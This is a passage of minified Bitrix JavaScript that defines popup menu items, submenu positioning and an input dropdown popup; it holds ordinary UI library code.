i=0;i<this.menuItems.length;i++){if(this.menuItems[i]===e){e.destroySubMenu();this.menuItems=BX.util.deleteFromArray(this.menuItems,i);break}}if(!this.menuItems.length){var n=e.getMenuWindow();if(n){var o=n.getParentMenuItem();if(o){o.destroySubMenu()}else{n.destroy()}}}e.layout.item.parentNode.removeChild(e.layout.item);e.layout={item:null,text:null}};BX.PopupMenuWindow.prototype.getMenuItem=function(t){for(var e=0;e<this.menuItems.length;e++){if(this.menuItems[e].id&&this.menuItems[e].id===t){return this.menuItems[e]}}return null};BX.PopupMenuWindow.prototype.getMenuItems=function(){return this.menuItems};BX.PopupMenuWindow.prototype.getMenuItemPosition=function(t){if(t){for(var e=0;e<this.menuItems.length;e++){if(this.menuItems[e].id&&this.menuItems[e].id===t){return e}}}return-1};BX.PopupMenuItem=function(t){t=t||{};this.options=t;this.id=t.id||BX.util.getRandomString().toLowerCase();this.text=BX.type.isNotEmptyString(t.text)?t.text:"";this.title=BX.type.isNotEmptyString(t.title)?t.title:"";this.delimiter=t.delimiter===true;this.href=BX.type.isNotEmptyString(t.href)?t.href:null;this.target=BX.type.isNotEmptyString(t.target)?t.target:null;this.dataset=BX.type.isPlainObject(t.dataset)?t.dataset:null;this.className=BX.type.isNotEmptyString(t.className)?t.className:null;this.menuShowDelay=BX.type.isNumber(t.menuShowDelay)?t.menuShowDelay:300;this.subMenuOffsetX=BX.type.isNumber(t.subMenuOffsetX)?t.subMenuOffsetX:4;this._items=BX.type.isArray(t.items)?t.items:[];this.disabled=t.disabled===true;this.onclick=BX.type.isNotEmptyString(t.onclick)||BX.type.isFunction(t.onclick)?t.onclick:null;if(BX.type.isPlainObject(t.events)){for(var e in t.events){BX.addCustomEvent(this,e,t.events[e])}}this.menuWindow=null;this.subMenuWindow=null;this.layout={item:null,text:null};this.getLayout();this.events={};this.items=[];for(var i in t){if(t.hasOwnProperty(i)&&typeof this[i]==="undefined"){this[i]=t[i]}}};BX.PopupMenuItem.prototype={getLayout:function(){if(this.layout.item){return this.layout}if(this.delimiter){if(BX.type.isNotEmptyString(this.text)){this.layout.item=BX.create("span",{props:{className:"popup-window-delimiter-section"},children:[this.layout.text=BX.create("span",{props:{className:"popup-window-delimiter-text"},html:this.text})]})}else{this.layout.item=BX.create("span",{props:{className:"popup-window-delimiter"}})}}else{this.layout.item=BX.create(this.href?"a":"span",{props:{className:["menu-popup-item",this.className?this.className:"menu-popup-no-icon",this.hasSubMenu()?"menu-popup-item-submenu":""].join(" ")},attrs:{title:this.title,onclick:BX.type.isString(this.onclick)?this.onclick:"",target:this.target?this.target:""},dataset:this.dataset,events:BX.type.isFunction(this.onclick)?{click:BX.delegate(this.onItemClick,this)}:null,children:[BX.create("span",{props:{className:"menu-popup-item-icon"}}),this.layout.text=BX.create("span",{props:{className:"menu-popup-item-text"},html:this.text})]});if(this.href){this.layout.item.href=this.href}if(this.isDisabled()){this.disable()}BX.bind(this.layout.item,"mouseenter",this.onItemMouseEnter.bind(this));BX.bind(this.layout.item,"mouseleave",this.onItemMouseLeave.bind(this))}return this.layout},getContainer:function(){return this.getLayout().item},getTextContainer:function(){return this.getLayout().text},onItemClick:function(t){this.onclick.call(this.menuWindow,t,this)},onItemMouseEnter:function(t){if(this.isDisabled()){return}BX.onCustomEvent(this,"onMouseEnter");if(this.subMenuTimeout){clearTimeout(this.subMenuTimeout)}if(this.hasSubMenu()){this.subMenuTimeout=setTimeout(function(){this.showSubMenu()}.bind(this),this.menuShowDelay)}else{this.subMenuTimeout=setTimeout(function(){this.closeSiblings()}.bind(this),this.menuShowDelay)}},onItemMouseLeave:function(t){if(this.isDisabled()){return}BX.onCustomEvent(this,"onMouseLeave");if(this.subMenuTimeout){clearTimeout(this.subMenuTimeout)}},hasSubMenu:function(){return this.subMenuWindow!==null||this._items.length},showSubMenu:function(){this.addSubMenu(this._items);if(this.subMenuWindow){BX.addClass(this.layout.item,"menu-popup-item-open");this.closeSiblings();this.closeChildren();var t=this.subMenuWindow.getPopupWindow();if(!t.isShown()){BX.onCustomEvent(this,"onSubMenuShow");t.show()}this.adjustSubMenu()}},addSubMenu:function(t){if(this.subMenuWindow!==null||!BX.type.isArray(t)||!t.length){return}var e=this.getMenuWindow().getRootMenuWindow()||this.getMenuWindow();var i=e.params;i.autoHide=false;i.menuShowDelay=this.menuShowDelay;i.zIndexAbsolute=this.getMenuWindow().getPopupWindow().getZindex()+2;i.bindOptions={forceTop:true,forceLeft:true,forceBindPosition:true};delete i.zIndex;delete i.events;delete i.angle;delete i.overlay;this.subMenuWindow=new BX.PopupMenuWindow("popup-submenu-"+this.id,this.layout.item,t,i);this.subMenuWindow.setParentMenuWindow(this.getMenuWindow());this.subMenuWindow.setParentMenuItem(this);BX.addClass(this.layout.item,"menu-popup-item-submenu")},closeSubMenu:function(){if(this.subMenuWindow){BX.removeClass(this.layout.item,"menu-popup-item-open");this.closeChildren();var t=this.subMenuWindow.getPopupWindow();if(t.isShown()){BX.onCustomEvent(this,"onSubMenuClose")}this.subMenuWindow.close()}},closeSiblings:function(){var t=this.menuWindow.getMenuItems();for(var e=0;e<t.length;e++){if(t[e]!==this){t[e].closeSubMenu()}}},closeChildren:function(){if(this.subMenuWindow){var t=this.subMenuWindow.getMenuItems();for(var e=0;e<t.length;e++){t[e].closeSubMenu()}}},destroySubMenu:function(){if(this.subMenuWindow){BX.removeClass(this.layout.item,"menu-popup-item-open menu-popup-item-submenu");this.destroyChildren();this.subMenuWindow.destroy();this.subMenuWindow=null;this._items=[]}},destroyChildren:function(){if(this.subMenuWindow){var t=this.subMenuWindow.getMenuItems();for(var e=0;e<t.length;e++){t[e].destroySubMenu()}}},adjustSubMenu:function(){if(!this.subMenuWindow||!this.layout.item){return}var t=this.subMenuWindow.getPopupWindow();var e=this.layout.item.getBoundingClientRect();var i=e.width+this.subMenuOffsetX;var n=e.height+this.getPopupPadding();var o=e.height/2-this.getPopupPadding();var s="left";var p=t.getPopupContainer().offsetWidth;var u=t.getPopupContainer().offsetHeight;var a=e.top+u;var r=document.documentElement.clientWidth;var h=document.documentElement.clientHeight;var l=a-h;if(l>0){var d=Math.ceil(l/e.height)*e.height;if(d>e.top){d-=Math.ceil((d-e.top)/e.height)*e.height}if(e.bottom>a-d){d-=e.bottom-(a-d)+this.getPopupPadding()}n+=d;o+=d}if(e.left+i+p>r){var f=e.left-p-this.subMenuOffsetX;if(f>0){i=-p-this.subMenuOffsetX;s="right"}}t.setBindElement(this.layout.item);t.setOffset({offsetLeft:i,offsetTop:-n});t.setAngle({position:s,offset:o});t.adjustPosition()},getPopupPadding:function(){if(!BX.type.isNumber(this.popupPadding)){if(this.subMenuWindow){var t=this.subMenuWindow.layout.menuContainer;this.popupPadding=parseInt(BX.style(t,"paddingTop"),10)}else{this.popupPadding=0}}return this.popupPadding},getSubMenu:function(){return this.subMenuWindow},getId:function(){return this.id},setMenuWindow:function(t){this.menuWindow=t},getMenuWindow:function(){return this.menuWindow},getMenuShowDelay:function(){return this.menuShowDelay},enable:function(){this.disabled=false;this.getContainer().classList.remove("menu-popup-item-disabled")},disable:function(){this.disabled=true;this.closeSubMenu();this.getContainer().classList.add("menu-popup-item-disabled")},isDisabled:function(){return this.disabled}};t.BXInputPopup=function(t){this.id=t.id||"bx-inp-popup-"+Math.round(Math.random()*1e6);this.handler=t.handler||false;this.values=t.values||false;this.pInput=t.input;this.bValues=!!this.values;this.defaultValue=t.defaultValue||"";this.openTitle=t.openTitle||"";this.className=t.className||"";this.noMRclassName=t.noMRclassName||"ec-no-rm";this.emptyClassName=t.noMRclassName||"ec-label";var e=this;this.curInd=false;if(this.bValues){this.pInput.onfocus=this.pInput.onclick=function(t){if(this.value==e.defaultValue){this.value="";this.className=e.className}e.ShowPopup();return BX.PreventDefault(t)};this.pInput.onblur=function(){if(e.bShowed)setTimeout(function(){e.ClosePopup(true)},200);e.OnChange()}}else{this.pInput.className=this.noMRclassName;this.pInput.onblur=BX.proxy(this.OnChange,this)}};BXInputPopup.prototype={ShowPopup:function(){if(this.bShowed)return;var t=this;if(!this.oPopup){var e,i=BX.create("DIV",{props:{className:"bxecpl-loc-popup "+this.className}});for(var n=0,o=this.values.length;n<o;n++){e=i.appendChild(BX.create("DIV",{props:{id:"bxecmr_"+n},text:this.values[n].NAME,events:{mouseover:function(){BX.addClass(this,"bxecplloc-over")},mouseout:function(){BX.removeClass(this,"bxecplloc-over")},click:function(){var e=this.id.substr("bxecmr_".length);t.pInput.value=t.values[e].NAME;t.curInd=e;t.OnChange();t.ClosePopup(true)}}}));if(this.values[n].DESCRIPTION)e.title=this.values[n].DESCRIPTION;if(this.values[n].CLASS_NAME)BX.addClass(e,this.values[n].CLASS_NAME);if(this.values[n].URL)e.appendChild(BX.create("A",{props:{href:this.values[n].URL,className:"bxecplloc-view",target:"_blank",title:this.openTitle}}))}this.oPopup=new BX.PopupWindow(this.id,this.pInput,{autoHide:true,offsetTop:1,offsetLeft:0,lightShadow:true,closeByEsc:true,content:i});BX.addCustomEvent(this.oPopup,"onPopupClose",BX.proxy(this.ClosePopup,this))}this.oPopup.show();this.pInput.select();this.bShowed=true;BX.onCustomEvent(this,"onInputPopupShow",[this])},ClosePopup:function(t){this.bShowed=false;if(this.pInput.value=="")this.OnChange();BX.onCustomEvent(this,"onInputPopupClose",[this]);if(t===true)this.oPopup.close()},OnChange:function(){var t=this.pInput.value;if(this.bValues){if(this.pInput.value==""||this.pInput.value==this.defaultValue){this.pInput.value=this.defaultValue;this.pInput.className=this.emptyClassName;t=""}else{this.pInput.className=""}}if(isNaN(parseInt(this.curInd))||this.curInd!==false&&t!=this.values[this.curInd].NAME)this.curInd=false;else this.curInd=parseInt(this.curInd);BX.onCustomEvent(this,"onInputPopupChanged",[this,this.curInd,t]);if(this.handler&&typeof this.handler=="function")this.handler({ind:this.curInd,value:t})},Set:function(t,e,i){this.curInd=t;if(this.curInd!==false)this.pInput.value=this.values[this.curInd].NAME;else this.pInput.value=e;if(i!==false)this.OnChange()},Get:function(t){var e=false;if(typeof t=="undefined")t=this.curInd;if(t!==false&&this.values[t])e=this.values[t].ID;return e},GetIndex:function(t){for(var e=0,i=this.values.length;e<i;e++)if(this.values[e].ID==t)return e;return false},Deactivate:function(t){if(this.pInput.value==""||this.pInput.value==this.defaultValue){if(t){this.pInput.value="";this.pInput.className=this.noMRclassName}else if(this.oEC.bUseMR){this.pInput.value=this.defaultValue;this.pInput.className=this.emptyClassName}}this.pInput.disabled=t}};var e=-1,i=null;function n(t,o){if(t===false){if(i&&i.length>0){for(var s=0;s<i.length;s++){i[s]()}i=null;e=-1}}else{if(i===null){i=[];e=-1;BX.defer(n)(false)}if(t>e){e=t;i=[o]}else if(t==e){i.push(o)}}}})(window);
/* End */
;
//# sourceMappingURL=kernel_main.map.js